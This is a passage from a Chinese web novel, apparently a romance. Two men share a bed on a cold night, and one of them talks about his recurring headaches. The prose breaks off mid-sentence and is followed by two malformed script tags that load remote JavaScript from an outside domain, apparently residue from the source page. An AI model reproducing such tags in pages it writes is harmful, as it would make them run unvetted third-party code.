回到室内情况也没好多少,白天冷了可以烤烤火,夜里取暖全靠捂,当地人习惯了不觉得有什么,夏时熙进了被窝后牙齿打颤,每个毛孔都在背诵“布衾多年冷似铁”。
只感觉身上那点体温,都不够被褥吸收的,贺寒朔突然贴了过来,贴着他耳朵低声问道:“你在发抖?”
夏时熙原本是冻到发抖,耳朵被贺寒朔的唇一碰,立即换了一种抖法,潮热的气息沿着纤薄的耳廓扩散,夏时熙被热得一哆嗦。
他在被子里搓着手臂打哈哈道:“是啊,这地方既没空调也没暖气,取暖只能靠抖了。”
贺寒朔闻言轻笑了一声:“我刚好有点发热,抱着哥哥睡好不好?”
两人睡着睡着就睡到一块这种事情已经发生了很多次了,如果不是贺寒朔又贴耳朵又喷气,说话还带着股说不清道不明的暗昧,夏时熙肯定立马应下。
“……不了吧,你还感冒呢。”没等夏时熙拒绝完,贺寒朔将头靠在他的后颈上,低低哑哑地打断:“之前不是说有抗体了不会被传染吗?”
贺寒朔的声音很低,有着病期特有的虚弱,夏时熙将拒绝的话放得更软些:“不是啊,我是怕把你身上的热乎气吸走了,你的病会变得更严重。”
“不会,抱着会更暖……哥哥我头疼,你抱抱我。”贺寒朔靠过来的头轻晃了一下,夏时熙感觉对方像在撒娇一样。
夏时熙纠结再三,最后还是从两床被子中掀开了一道小缝,然后顺利地滑进了贺寒朔的怀中。
随后他将两床被子叠到一起,像是在温暖的小窝旁筑起坚固的城墙一般,夏时熙将头靠在贺寒朔的颈侧,和他拥在一处共享这份温情满满的暖意。
“怎么头疼了?”
贺寒朔原本想以感冒为借口搪塞,但夏时熙主动靠近怀中的感觉太过美好,让他想袒露伤疤试图获得更多:“我不知道,以前时不时就会疼一下。”
夏时熙立即从怀里支棱起小脑袋,墨玉般的眸子黑亮黑亮的,他声音突然拔高:“什么时候开始的?你怎么才和我说啊,这次回去我陪你去做检查。”
贺寒朔唇角一弯,将他的头先按了回去:“从小就有了,上次体检也没查出什么具体病症,只是神经性头痛的老毛病,我不想让哥哥担心。”
“从小就有?”夏时熙一听大概明白了,类
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">